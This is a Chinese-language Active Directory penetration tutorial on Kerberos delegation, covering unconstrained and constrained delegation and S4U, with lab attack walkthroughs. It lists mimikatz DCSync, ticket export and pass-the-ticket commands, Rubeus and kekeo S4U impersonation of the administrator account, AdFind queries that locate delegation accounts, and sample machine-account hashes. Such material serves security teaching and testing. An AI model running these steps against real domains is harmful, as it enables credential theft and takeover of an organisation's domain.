域渗透
01-本地认证
02-本地密码抓取
03-网络认证
04-域基础知识
05-域环境部署
06-域认证
07-域密码抓取
08-横向移动
09-凭证传递
10-票据
11-委派
-
+
11-委派
浏览
2
# 一、委派 ## 概述 从Windows 2000开始,微软增加了委派功能,委派共分为三种: - 非约束性委派(Windows Server 2000) - 约束性委派(Windows Server 2003) - 基于资源的约束委派(Windows Server 2012) 委派是一种应用模式,指的是将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。 ## 非约束性委派 当用户以 Kerberos 认证访问配置了非约束委派机器的服务时,KDC 会把该用户的 TGT 转发/嵌入到该服务可获取的凭据中。 服务会把用户 TGT 缓存在 LSASS 内存中。 之后,该服务可以使用这个 TGT,以用户身份向任意服务申请服务票证。  > 存在的问题 如果配置了非约束性委派的机器被控制: 1. 如果没有对非约束性委派的机器做限制,则该机器就可以代表用户访问域内任意机器; 2. 如果域管理员访问了非约束性委派的机器,那么整个域内机器都可能被控制; ## 约束性委派 Windows Server 2003 之后微软引入了非约束性委派,由于非约束性委派的不安全性或者场景或限制(配置了非约束性委派的机器在LSASS中缓存了用户的TGT票据可以模拟用户去访问域中任意服务),微软于2007年为Kerberos协议进行了扩展引入了S4U(Service For User)协议,该协议分为两个子协议: - S4U2Self(Service For User To Self) - S4U2Proxy(Service For User To Proxy) 两个子协议都允许服务代表用户从KDC中请求票据,约束委派限制了S4U2Proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务。 也就是说:约束性委派是对委派的机器做了约束,被委派的机器只能访问设定好的服务。 ## S4U协议 2007年为Kerbero协议进行了扩展引入S4U(service for user)协议,该协议有两个子协议: - S4U2Self(Service For User To Self) - S4U2Proxy(Service For User To Proxy) 两个扩展协议都允许服务代表用户从KDC中请求票据,约束性委派限制了S4U2Proxy协议的请求范围,使得配置了约束性委派属性的服务只能模拟用户身份访问特定的服务。 约束性委派与基于资源的约束性委派都会用到这两个协议。 > 执行流程: 如果用户在域外,想要访问域内的资源,则需要:  用户A访问服务器B,服务器B代表A向KDC申请访问服务器B的TGT和ST-B(使用S4U2Self协议),用户A拿到了ST-B就可以访问服务器B了。 如果在服务器B上配置了约束性委派(A到C的约束性委派),则服务器B能够使用S4U2Proxy协议将用户A发给自己的ST-B票据,转发以用户A的身份发给KDC,KDC返回服务器B访问文件系统C的票据ST-C,这样服务器B就可以访问文件系统C。 具体流程: 1. 用户A通过NTLM或者其他认证能够访问服务器B 2. 服务器B代表用户A申请访问服务器B的票据(TGT和ST-B) 3. KDC返回用户A的TGT和ST-B票据给服务器B 4. B把ST-B的票据给到用户A 5. 用户A拿着ST-B的票据访问WEB系统B 6. 服务器B拿着用户A的ST-B票据作为证据,去向KDC申请访问文件系统C的ST-C票据 7. 服务器B系统使用ST-C的票据访问文件系统 存在的问题: - 服务账号B可以代表用户A向KDC申请访问B的票据,那么服务账号B能否代表域内管理员向KDC申请访问B的票据呢? 在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成; - 服务账号B可以代表用户A向KDC申请访问C的票据,那么服务账号B能否代表域内管理员向KDC申请访问C的票据呢? 在这个过程中,不需要域内管理员的参与,在服务账号B自身就可以完成; ## S4U数据包 网络拓扑图:  在域控中,设置Server16机器账号的约束性委委派,可以访问WIN12的CIFS服务。  ```bash #在域控中执行DCsync攻击 lsadump::dcsync /all /csv #机器账号:SERVER16$ b42b51830bff052157e3619d703c6a92 #在Server16中执行Rubeus,Rubeus是一套用于 与原始Kerberos交互的工具集(需要.NET 3.5框架) Rubeus.exe s4u /user:机器账号名称 /rc4:机器账号的hash值 /domain:域名 /msdsspn:委派的服务 /impersonateuser:伪造的用户名称 /ptt Rubeus.exe s4u /user:SERVER16$ /rc4:b42b51830bff052157e3619d703c6a92 /domain:abc.com /msdsspn:CIFS/win12.abc.com /impersonateuser:administrator /ptt #执行命令时,启动wireshark抓包工具 ```   # 二、非约束性委派 ## 设置委派 机器账号:  注册SPN(Server Principal Name)的账号: - Kerberos身份验证使用SPN将服务实例与服务账户进行关联,在域中如果有多个服务,那么每个服务都必须有自己的SPN和用户。 一个用户可以有多个SPN,但是一个SPN只能对应一个服务,SPN必须注册在用户下。  - 服务用户:用于登录运行服务的用户 - 服务:运行在计算机上的服务 配置了非约束性委派的机器,一旦访问该机器,TGT就会被缓存在LSASS进程的内存中,通过klist是不能查看的,必须查看内存。 注意:普通域用户默认是没有委派选项的,必须先用 setspn 命令为其注册一个 SPN (Service Principal Name),使其成为“服务账户”,之后该账户的属性中才会出现 “委派”选项卡。 ```bash #将普通域用户,注册为服务账号 setspn -U -A <服务名>/<主机名> <域用户名> setspn -U -A http/win08 win08 #选择当前域用户的组织单元,进行刷新操作,再查看当前用户选项卡,即可出现委派选项 ``` 值得注意的是: - 域控是默认配置了非约束性委派的; - 配置的非约束性委派最好是机器用户。    ## 查询委派 设置委派之后,Windows server 2008需要重新注销登录。 ```bash #查看域内非约束性委派的机器用户 AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn #查看域内非约束性委派的服务用户 AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn ```   ## 委派攻击 ```bash #1.诱导域管理员域控访问机器,例如,DC机器执行: dir \\win08.abc.com\c$ #2.在委派域服务器中使用mimikatz工具,将内存中的票据导出 privilege::debug sekurlsa::tickets /export #3.使用mimiktaz中的kerberos模块将administrator票据注入内存即可 kerberos::ptt [0;5dfdb]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi #4.新开会话窗口,刷新票据信息,访问dc的共享磁盘 dir \\dc.abc.com\c$ ```  设置委派前:  设置委派后:  票据传递:  # 三、约束性委派  约束性委派的设置分为两种: 1. 仅使用Kerberos 2. 可以使用任何身份协议  ## 机器设置委派 机器账号设置约束性委派:  ## 用户设置委派 对于用户而言,需要先注册为SPN服务账号,才可以添加委派 ```bash #将普通域用户,注册为服务账号 setspn -U -A <服务名>/<主机名> <域用户名> setspn -U -A cifs/win08 win08 #选择当前域用户的组织单元,进行刷新操作,再查看当前用户选项卡,即可出现委派选项 ```  ## 查询委派 设置委派之后,Windows server 2008需要重新注销登录。 ```bash #查看域内约束性委派的机器用户 AdFind.exe -b "DC=域名,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto #查看域内约束性委派的服务用户 AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto ```   ## 委派攻击 Windows server 2008机器中执行操作。 ```bash #1.查询设置委派的机器用户 AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto #2.使用mimikatz,获取到win08机器的hash值 privilege::debug token::elevate lsadump::secrets #或者在域控中执行DCsync攻击 lsadump::dcsync /all /csv #3.在win8中 使用kekeo.exe工具申请TGT票据 kekeo.exe "tgt::ask /user:机器用户名 /domain:域名 /NTLM:机器账号的哈希值" kekeo.exe "tgt::ask /user:WIN08$ /domain:abc.com /NTLM:2e2960fd198e49eb3c2e0cb81882e7e5" "exit" #4.申请ST票据,此命令会生成两张票据,分别是用户访问win08与用户访问win12的ST票据 kekeo.exe “tgs::s4u /tgt:TGT票据 /user:Administrator@域名 /service:委派的SPN" "exit" kekeo.exe "tgs::s4u /tgt:TGT_WIN08$@ABC.COM_krbtgt~abc.com@ABC.COM.kirbi /user:administrator@abc.com /service:cifs/win12.abc.com" "exit" #5.使用mimikatz将ST2票据,访问win12机器的票据注入到内存中 kerberos::ptt ``` 获取win8机器用户哈希值:  使用机器账号的哈希值,申请TGT:  申请ST票据:  将ST2票据,访问win12机器的票据注入到内存中:  # 四、基于资源的约束性委派 微软在Windows Server 2012中新引入了基于资源的约束性委派(Resource Based Constrained Delegation),简称RBCD。 基于资源的约束性委派将不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。 以WEB服务器和文件服务器为例,传统的约束性委派需要域控中,将委派设置到WEB服务器中的机器账号或者用户账号,以指定对文件服务器上的哪一个服务进行委派。 而在基于资源的约束性委派中,则只需要在文件服务器上设置资源委派,以允许WEB服务器对文件服务器上的服务进行委派。 
毛林
2026年11月15日 18:30
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~